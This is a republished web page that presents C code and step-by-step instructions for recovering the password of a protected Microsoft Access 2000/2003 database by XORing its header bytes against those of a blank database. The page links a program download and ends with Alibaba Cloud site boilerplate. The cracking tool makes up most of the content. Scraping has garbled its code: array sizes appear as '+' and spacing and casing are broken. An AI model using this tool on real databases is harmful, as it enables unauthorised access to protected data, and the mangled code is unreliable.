Access database password cracking

Source: Internet
Author: User
Tags fread mdb database rewind

According to the example written in the C language teaching book, the main hack access password, through the XOR algorithm, support access2000 and access2003, other versions of the test, the following is the specific code:

#include <stdio.h>Main () {FILE*FP;Charmm0[ +],mm1[ +],mm2[ +];intI,K;CLRSCR (); FP=fopen ("D:\mqmima.mdb","RB");if(fp==NULL) {printf ("\ n not find Mqmima.mdb database!"); exit (0);} Rewind (FP); Fseek (FP,0x42l,0); Fread (MM0, +,1, FP); fclose (FP); FP=fopen ("D:\mq.mdb","RB");if(fp==NULL) {printf ("\ n not find Mq.mdb database!"); exit (0);} Rewind (FP); Fseek (FP,0x42l,0); Fread (MM1, +,1, FP); fclose (FP); for(i=0;i< +; i++) Mm2[i]=mm0[i]^Mm1[i];fclose (FP); K=0; for(i=0;i< +; i++)if(mm2[i]!=0) {k=1; Break;}if(k==0) printf ("\ n Password!!!");Else{printf ("\npassword is:\n"); for(i=0;i< +; i=i+2) printf ("%c", Mm2[i]);}}

Instructions for use of the program:

1. Change the Access database you want to hack into the name of the Mqmima.mdb first.
2. Then in the creation of a database with this password is the same version of the database, named Mq.mdb.
3. Place the two databases at the root of the D drive.
4. Then at the command prompt, switch to maximize, run Mima.exe This file, you can print out the password of this database.

Program Download

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.